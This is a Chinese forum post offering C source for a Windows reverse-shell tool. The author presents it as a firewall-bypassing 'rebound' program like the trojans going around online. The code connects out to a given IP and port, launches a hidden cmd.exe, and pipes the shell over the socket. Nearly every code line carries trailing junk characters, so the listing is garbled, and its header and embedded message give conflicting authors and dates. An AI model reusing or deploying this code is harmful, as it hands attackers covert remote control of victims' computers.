社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6802阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vT)FLhH6*  
F{v>   
/* ============================== gM&XVhQJ\  
Rebound port in Windows NT *i?#hTw  
By wind,2006/7 9n%vz@X  
===============================*/ Gg8F>y<[R  
#include l*^c?lp)  
#include u8 Q`la  
M:rE^El  
#pragma comment(lib,"wsock32.lib") <BEM`2B  
/{|JQ'gqX  
void OutputShell(); ZuH@qq\  
SOCKET sClient; V\vt!wBcB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IZn|1X?}\s  
IN~Q(A]Z%  
void main(int argc,char **argv) E:(DidSE@  
{ )lwxF P;  
WSADATA stWsaData; bW-9YXj%  
int nRet; Ia %> c  
SOCKADDR_IN stSaiClient,stSaiServer; "w7wd5h  
B'SLyf  
if(argc != 3) QZw`+KR  
{ hR(\%p  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y,n&g45m  
return; E9<oA.  
} 5bBY[qp  
epXvk &  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5L!EqB>m;  
;auT!a~a#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wkc)2z   
Nz1u:D]  
stSaiClient.sin_family = AF_INET; =jz [}5  
stSaiClient.sin_port = htons(0); )jm!bR`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yGj'0c::  
b v5BV  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4z6kFQgu  
{ 2K wr=t  
printf("Bind Socket Failed!\n"); @` 5P^H7  
return; *QH~ z2:[  
} pV[SY6/  
_D.4=2@|l8  
stSaiServer.sin_family = AF_INET; <aSjK#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "!,)Pv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #|-i*2@oR  
A s"% u  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M 5c$  
{ 4f SG c8  
printf("Connect Error!"); o@2Y98~Q}  
return; o4P>t2'  
} &uP,w#  
OutputShell(); U'*~Ju  
} 7G':h0i8  
%^pm~ck!  
void OutputShell() q!f'?yFYK  
{ GBSuTu8  
char szBuff[1024]; wjy<{I  
SECURITY_ATTRIBUTES stSecurityAttributes; ]Ub"NLYV  
OSVERSIONINFO stOsversionInfo; grVPu! B;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A9Kt^HR  
STARTUPINFO stStartupInfo; 4m1@lnjp  
char *szShell;  \uG^w(*)  
PROCESS_INFORMATION stProcessInformation; yo^M>^P\N  
unsigned long lBytesRead; L5DeLF+  
>v#6SDg  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _D"V^4^yqu  
 hik.c3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '"C& dia  
stSecurityAttributes.lpSecurityDescriptor = 0; W>y >  
stSecurityAttributes.bInheritHandle = TRUE; Bi-x gq'z  
'/2)I8  
z#HNJAQ#|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aO &!Y\=@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yByxy-~  
o#uhPUZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #u"$\[G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pL5Bz!_r  
stStartupInfo.wShowWindow = SW_HIDE; PjE%_M<  
stStartupInfo.hStdInput = hReadPipe; 7x=-1wbi  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <I 0EjV  
<g$bM;6%  
GetVersionEx(&stOsversionInfo); O%s7}bR3  
z?<Xx?Kk  
switch(stOsversionInfo.dwPlatformId) a! gj_  
{ &0x;60b  
case 1: ^UmhSxQ##  
szShell = "command.com"; Qa#Em1co  
break; y/Ui6D  
default: v`&>m '  
szShell = "cmd.exe"; 4D)M_O  
break; IE:;`e:\D  
} gY {/)"  
U_sM==~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }Jo}K) >!  
7hlzuZob+y  
send(sClient,szMsg,77,0); K?@x'q1  
while(1) O^Y@&S RrQ  
{ @HQqHO&N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Esdv+f}4;  
if(lBytesRead) _a\$uVZ  
{ tq=7HM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Owz>g4l r  
send(sClient,szBuff,lBytesRead,0); |33_="  
} {Q021*xt/  
else bQ`2ll*(  
{ M~U>" kX  
lBytesRead=recv(sClient,szBuff,1024,0); 0ky3rFSh1  
if(lBytesRead<=0) break; 1VA%xOURh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Lvb'qZ6n  
} uWLf9D"  
} Zx&=K"  
Ow 0(q^H<  
return; U!b~vrr^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五